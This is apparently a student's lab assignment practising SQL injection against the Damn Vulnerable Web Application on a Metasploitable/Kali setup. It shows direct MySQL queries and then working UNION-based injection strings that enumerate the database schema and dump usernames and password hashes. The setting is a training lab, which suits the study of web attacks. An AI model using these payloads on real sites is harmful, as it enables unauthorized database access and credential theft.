

Assignment 12

Michael A. Gurule

TASK A

Steps 1-3:

```
msfadmin@metasploitable:~$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> SHOW DATABASES;
+-----+
| Database                |
+-----+
| information_schema       |
| dvwa                    |
| metasploit              |
| mysql                   |
| owasp10                 |
| tikiwiki                |
| tikiwiki195             |
+-----+
7 rows in set (0.00 sec)
```

Steps 4-5:

```
mysql> use dvwa;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SHOW TABLES;
+-----+
| Tables_in_dvwa          |
+-----+
| guestbook               |
| users                   |
+-----+
2 rows in set (0.00 sec)
```

Step 6:

```
mysql> SELECT * FROM users;
+-----+-----+-----+-----+-----+
| user_id | first_name | last_name | user      | password |
| avatar  |            |           |           |          |
+-----+-----+-----+-----+-----+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| http://172.16.123.129/dvwa/hackable/users/admin.jpg |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 |
| http://172.16.123.129/dvwa/hackable/users/gordonb.jpg |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| http://172.16.123.129/dvwa/hackable/users/1337.jpg |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| http://172.16.123.129/dvwa/hackable/users/pablo.jpg |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
| http://172.16.123.129/dvwa/hackable/users/smithy.jpg |
+-----+-----+-----+-----+-----+
5 rows in set (0.00 sec)
```

Step 7:

```
mysql> SELECT * FROM users where user='admin';
+-----+-----+-----+-----+-----+
| user_id | first_name | last_name | user      | password |
| avatar  |            |           |           |          |
+-----+-----+-----+-----+-----+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| http://172.16.123.129/dvwa/hackable/users/admin.jpg |
+-----+-----+-----+-----+-----+
1 row in set (0.00 sec)
```

Step 8:

```
mysql> SELECT * FROM users where user='any' or 1=1;
+-----+-----+-----+-----+-----+
| user_id | first_name | last_name | user      | password |
| avatar  |            |           |           |          |
+-----+-----+-----+-----+-----+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| http://172.16.123.129/duwa/hackable/users/admin.jpg |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 |
| http://172.16.123.129/duwa/hackable/users/gordonb.jpg |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
| http://172.16.123.129/duwa/hackable/users/1337.jpg |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| http://172.16.123.129/duwa/hackable/users/pablo.jpg |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
| http://172.16.123.129/duwa/hackable/users/smithy.jpg |
+-----+-----+-----+-----+-----+
5 rows in set (0.00 sec)
```

TASK B

Steps 1-3:

The screenshot shows a web browser window with the title "Damn Vulnerable Web App (DVWA) v1.0.7 :: DVWA Security — Mozilla Firefox". The address bar shows the URL "192.168.1.73/dvwa/security.php". The browser's bookmark bar includes links to "Kali Linux", "Kali Tools", "Kali Docs", "Kali Forums", "Kali NetHunter", "Exploit-DB", "Google Hacking DB", and "OffSec".

The DVWA Security page features a sidebar on the left with a menu of options: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security (highlighted), PHP Info, About, and Logout. At the bottom of the sidebar, it displays the user's session information: "Username: admin", "Security Level: low", and "PHPIDS: disabled".

The main content area is titled "DVWA Security" with a lock icon. Below this is the "Script Security" section, which states: "Security Level is currently **low**. You can set the security level to low, medium or high. The security level changes the vulnerability level of DVWA." There is a dropdown menu set to "low" and a "Submit" button.

The "PHPIDS" section follows, explaining that "PHPIDS v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications. You can enable PHPIDS across this site for the duration of your session. PHPIDS is currently **disabled**. [enable PHPIDS] [Simulate attack] - [View IDS log]".

A status box at the bottom of the main content area shows "Security level set to low". The footer of the page reads "Damn Vulnerable Web Application (DVWA) v1.0.7".

Steps 4-5:

Vulnerability: SQL Injection

User ID:

Submit

```
ID: any' union select database(),user()'
First name: dvwa
Surname: root@localhost
```

Step 6:

Vulnerability: SQL Injection

User ID:

Submit

```
ID: any' union select table_name,1 from information_schema.tables where table_schema='dvwa'#'
First name: guestbook
Surname: 1
```

```
ID: any' union select table_name,1 from information_schema.tables where table_schema='dvwa'#'
First name: users
Surname: 1
```

Step 7:

Vulnerability: SQL Injection

User ID:

Submit

```
ID: any' union select column_name,column_type from information_schema.columns where table_schema='dvwa'and table_name='users'#'
First name: user_id
Surname: int(6)
```

```
ID: any' union select column_name,column_type from information_schema.columns where table_schema='dvwa'and table_name='users'#'
First name: first_name
Surname: varchar(15)
```

```
ID: any' union select column_name,column_type from information_schema.columns where table_schema='dvwa'and table_name='users'#'
First name: last_name
Surname: varchar(15)
```

```
ID: any' union select column_name,column_type from information_schema.columns where table_schema='dvwa'and table_name='users'#'
First name: user
Surname: varchar(15)
```

```
ID: any' union select column_name,column_type from information_schema.columns where table_schema='dvwa'and table_name='users'#'
First name: password
Surname: varchar(32)
```

```
ID: any' union select column_name,column_type from information_schema.columns where table_schema='dvwa'and table_name='users'#'
First name: avatar
Surname: varchar(70)
```

Step 8:

Vulnerability: SQL Injection

User ID:

Submit

ID: any' and 1=0 union select null, concat(user,0x0a,password) from users #
First name:
Surname: admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: any' and 1=0 union select null, concat(user,0x0a,password) from users #
First name:
Surname: gordonb
e99a18c428cb38d5f260853678922e03

ID: any' and 1=0 union select null, concat(user,0x0a,password) from users #
First name:
Surname: 1337
8d3533d75ae2c3966d7e0d4fcc69216b

ID: any' and 1=0 union select null, concat(user,0x0a,password) from users #
First name:
Surname: pablo
0d107d09f5bbe40cade3de5c71e9e9b7

ID: any' and 1=0 union select null, concat(user,0x0a,password) from users #
First name:
Surname: smithy
5f4dcc3b5aa765d61d8327deb882cf99